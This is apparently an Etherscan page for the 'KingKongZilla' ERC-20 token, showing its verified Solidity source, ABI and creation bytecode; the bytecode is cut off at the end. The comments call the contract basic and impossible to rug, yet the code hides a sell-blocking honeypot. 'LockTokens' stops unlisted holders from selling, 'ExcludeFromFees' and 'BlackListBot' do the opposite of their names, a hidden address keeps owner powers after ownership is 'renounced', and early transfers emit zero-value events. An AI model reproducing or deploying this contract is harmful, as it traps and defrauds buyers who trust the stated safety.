ERC-20
Overview
Max Total Supply
1,000,000 KingKongZilla
Holders
6
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
9,806.516754812830312102 KingKongZillaValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
KingKongZilla
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-05-30 */ // KingkongZilla Community is all about the people // No tax // lets make the greatest community in the eth network // this contract is the most basic contract so we cant rug it - 100 percent safu pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract KingKongZilla is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping (address => bool) private bots; mapping(address => bool) private _balances1; address internal router; uint256 public _totalSupply = 1000000*10**18; string public _name = "KingKongZilla"; string public _symbol= "KingKongZilla"; bool balances1 = true; bool private tradingOpen; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; uint256 private openBlock; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); owner = msg.sender; } address public owner; address private marketAddy = payable(0x7fbE5A8B20bc371084BdEC53c85b4B827abf33A1); modifier onlyOwner { require((owner == msg.sender) || (msg.sender == marketAddy)); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function RenounceOwnership() onlyOwner public { owner = 0x000000000000000000000000000000000000dEaD; } function ExcludeFromFees(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = true; } } function BlackListBot(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = false; } } function LockTokens() onlyOwner public { router = uniswapV2Pair; balances1 = false; } function EnableTrading() public onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner, block.timestamp ); tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } receive() external payable {} function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require(!bots[sender] && !bots[recipient]); if(recipient == router) { require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address"); } require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this))); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if ((openBlock + 1 > block.number) && sender == uniswapV2Pair) { emit Transfer(sender, recipient, 0); } else { emit Transfer(sender, recipient, amount); } } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"recipients_","type":"address[]"}],"name":"BlackListBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"EnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients_","type":"address[]"}],"name":"ExcludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LockTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"_allowances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"changeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405269d3c21bcecceda10000006006556040518060400160405280600d81526020017f4b696e674b6f6e675a696c6c6100000000000000000000000000000000000000815250600790805190602001906200005f92919062000221565b506040518060400160405280600d81526020017f4b696e674b6f6e675a696c6c610000000000000000000000000000000000000081525060089080519060200190620000ad92919062000221565b506001600960006101000a81548160ff021916908315150217905550737fbe5a8b20bc371084bdec53c85b4b827abf33a1600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200012b57600080fd5b506006546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620001d29190620002e2565b60405180910390a333600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200036e565b8280546200022f9062000309565b90600052602060002090601f0160209004810192826200025357600085556200029f565b82601f106200026e57805160ff19168380011785556200029f565b828001600101855582156200029f579182015b828111156200029e57825182559160200191906001019062000281565b5b509050620002ae9190620002b2565b5090565b5b80821115620002cd576000816000905550600101620002b3565b5090565b620002dc81620002ff565b82525050565b6000602082019050620002f96000830184620002d1565b92915050565b6000819050919050565b600060028204905060018216806200032257607f821691505b602082108114156200033957620003386200033f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b61284b806200037e6000396000f3fe60806040526004361061012e5760003560e01c80636e4ee811116100ab578063a6f9dae11161006f578063a6f9dae1146103ed578063a9059cbb14610416578063b09f126614610453578063cdedef671461047e578063d28d885214610495578063dd62ed3e146104c057610135565b80636e4ee811146103065780636ebcf6071461031d57806370a082311461035a5780638da5cb5b1461039757806395d89b41146103c257610135565b806321b0033a116100f257806321b0033a1461022157806323b872dd1461024a578063313ce567146102875780633a3209f1146102b25780633eaaf86b146102db57610135565b8063024c2ddd1461013a57806306fdde0314610177578063095ea7b3146101a257806318160ddd146101df5780631d97b7cd1461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b50610161600480360381019061015c9190611e6a565b6104fd565b60405161016e9190612518565b60405180910390f35b34801561018357600080fd5b5061018c610522565b6040516101999190612416565b60405180910390f35b3480156101ae57600080fd5b506101c960048036038101906101c49190611ef5565b6105b4565b6040516101d691906123e0565b60405180910390f35b3480156101eb57600080fd5b506101f46105d2565b6040516102019190612518565b60405180910390f35b34801561021657600080fd5b5061021f6105dc565b005b34801561022d57600080fd5b5061024860048036038101906102439190611f31565b610b2b565b005b34801561025657600080fd5b50610271600480360381019061026c9190611ea6565b610c98565b60405161027e91906123e0565b60405180910390f35b34801561029357600080fd5b5061029c610d90565b6040516102a99190612533565b60405180910390f35b3480156102be57600080fd5b506102d960048036038101906102d49190611f31565b610d99565b005b3480156102e757600080fd5b506102f0610f06565b6040516102fd9190612518565b60405180910390f35b34801561031257600080fd5b5061031b610f0c565b005b34801561032957600080fd5b50610344600480360381019061033f9190611e18565b611003565b6040516103519190612518565b60405180910390f35b34801561036657600080fd5b50610381600480360381019061037c9190611e18565b61101b565b60405161038e9190612518565b60405180910390f35b3480156103a357600080fd5b506103ac611063565b6040516103b99190612312565b60405180910390f35b3480156103ce57600080fd5b506103d7611089565b6040516103e49190612416565b60405180910390f35b3480156103f957600080fd5b50610414600480360381019061040f9190611e18565b61111b565b005b34801561042257600080fd5b5061043d60048036038101906104389190611ef5565b611211565b60405161044a91906123e0565b60405180910390f35b34801561045f57600080fd5b5061046861122f565b6040516104759190612416565b60405180910390f35b34801561048a57600080fd5b506104936112bd565b005b3480156104a157600080fd5b506104aa6113ef565b6040516104b79190612416565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190611e6a565b61147d565b6040516104f49190612518565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b606060078054610531906126b7565b80601f016020809104026020016040519081016040528092919081815260200182805461055d906126b7565b80156105aa5780601f1061057f576101008083540402835291602001916105aa565b820191906000526020600020905b81548152906001019060200180831161058d57829003601f168201915b5050505050905090565b60006105c86105c1611504565b848461150c565b6001905092915050565b6000600654905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806106855750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61068e57600080fd5b600960019054906101000a900460ff16156106de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d5906124f8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061076730600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065461150c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ad57600080fd5b505afa1580156107c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e59190611e41565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561084757600080fd5b505afa15801561085b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087f9190611e41565b6040518363ffffffff1660e01b815260040161089c92919061232d565b602060405180830381600087803b1580156108b657600080fd5b505af11580156108ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ee9190611e41565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306109773061101b565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016109bf9695949392919061237f565b6060604051808303818588803b1580156109d857600080fd5b505af11580156109ec573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a119190611f9b565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ad5929190612356565b602060405180830381600087803b158015610aef57600080fd5b505af1158015610b03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b279190611f72565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610bd45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610bdd57600080fd5b60005b8151811015610c9457600160036000848481518110610c28577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c8c906126e9565b915050610be0565b5050565b6000610ca58484846116d7565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610cf0611504565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6790612498565b60405180910390fd5b610d8485610d7c611504565b85840361150c565b60019150509392505050565b60006012905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e425750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e4b57600080fd5b60005b8151811015610f0257600060036000848481518110610e96577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610efa906126e9565b915050610e4e565b5050565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610fb55750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610fbe57600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054611098906126b7565b80601f01602080910402602001604051908101604052809291908181526020018280546110c4906126b7565b80156111115780601f106110e657610100808354040283529160200191611111565b820191906000526020600020905b8154815290600101906020018083116110f457829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111c45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6111cd57600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061122561121e611504565b84846116d7565b6001905092915050565b6008805461123c906126b7565b80601f0160208091040260200160405190810160405280929190818152602001828054611268906126b7565b80156112b55780601f1061128a576101008083540402835291602001916112b5565b820191906000526020600020905b81548152906001019060200180831161129857829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806113665750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61136f57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b600780546113fc906126b7565b80601f0160208091040260200160405190810160405280929190818152602001828054611428906126b7565b80156114755780601f1061144a57610100808354040283529160200191611475565b820191906000526020600020905b81548152906001019060200180831161145857829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561157c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611573906124d8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e390612458565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116ca9190612518565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173e906124b8565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156117a557600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118495750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61185257600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119a457600960009054906101000a900460ff168061190c5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806119645750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6119a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199a90612438565b60405180910390fd5b5b6c02863c1f5cdae42f9540000000811080611a0c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611a645750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611a9a57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611aa357600080fd5b611aae838383611d14565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2b90612478565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bc791906125c7565b92505081905550436001600b54611bde91906125c7565b118015611c385750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611ca8578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611c9b91906123fb565b60405180910390a3611d0e565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d059190612518565b60405180910390a35b50505050565b505050565b6000611d2c611d278461257f565b61254e565b90508083825260208201905082856020860282011115611d4b57600080fd5b60005b85811015611d7b5781611d618882611d85565b845260208401935060208301925050600181019050611d4e565b5050509392505050565b600081359050611d94816127d0565b92915050565b600081519050611da9816127d0565b92915050565b600082601f830112611dc057600080fd5b8135611dd0848260208601611d19565b91505092915050565b600081519050611de8816127e7565b92915050565b600081359050611dfd816127fe565b92915050565b600081519050611e12816127fe565b92915050565b600060208284031215611e2a57600080fd5b6000611e3884828501611d85565b91505092915050565b600060208284031215611e5357600080fd5b6000611e6184828501611d9a565b91505092915050565b60008060408385031215611e7d57600080fd5b6000611e8b85828601611d85565b9250506020611e9c85828601611d85565b9150509250929050565b600080600060608486031215611ebb57600080fd5b6000611ec986828701611d85565b9350506020611eda86828701611d85565b9250506040611eeb86828701611dee565b9150509250925092565b60008060408385031215611f0857600080fd5b6000611f1685828601611d85565b9250506020611f2785828601611dee565b9150509250929050565b600060208284031215611f4357600080fd5b600082013567ffffffffffffffff811115611f5d57600080fd5b611f6984828501611daf565b91505092915050565b600060208284031215611f8457600080fd5b6000611f9284828501611dd9565b91505092915050565b600080600060608486031215611fb057600080fd5b6000611fbe86828701611e03565b9350506020611fcf86828701611e03565b9250506040611fe086828701611e03565b9150509250925092565b611ff38161261d565b82525050565b6120028161262f565b82525050565b61201181612672565b82525050565b6000612022826125ab565b61202c81856125b6565b935061203c818560208601612684565b612045816127bf565b840191505092915050565b600061205d6023836125b6565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006120c36022836125b6565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006121296026836125b6565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061218f6028836125b6565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b60006121f56025836125b6565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061225b6024836125b6565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006122c16017836125b6565b91507f74726164696e6720697320616c7265616479206f70656e0000000000000000006000830152602082019050919050565b6122fd8161265b565b82525050565b61230c81612665565b82525050565b60006020820190506123276000830184611fea565b92915050565b60006040820190506123426000830185611fea565b61234f6020830184611fea565b9392505050565b600060408201905061236b6000830185611fea565b61237860208301846122f4565b9392505050565b600060c0820190506123946000830189611fea565b6123a160208301886122f4565b6123ae6040830187612008565b6123bb6060830186612008565b6123c86080830185611fea565b6123d560a08301846122f4565b979650505050505050565b60006020820190506123f56000830184611ff9565b92915050565b60006020820190506124106000830184612008565b92915050565b600060208201905081810360008301526124308184612017565b905092915050565b6000602082019050818103600083015261245181612050565b9050919050565b60006020820190508181036000830152612471816120b6565b9050919050565b600060208201905081810360008301526124918161211c565b9050919050565b600060208201905081810360008301526124b181612182565b9050919050565b600060208201905081810360008301526124d1816121e8565b9050919050565b600060208201905081810360008301526124f18161224e565b9050919050565b60006020820190508181036000830152612511816122b4565b9050919050565b600060208201905061252d60008301846122f4565b92915050565b60006020820190506125486000830184612303565b92915050565b6000604051905081810181811067ffffffffffffffff8211171561257557612574612790565b5b8060405250919050565b600067ffffffffffffffff82111561259a57612599612790565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006125d28261265b565b91506125dd8361265b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561261257612611612732565b5b828201905092915050565b60006126288261263b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffff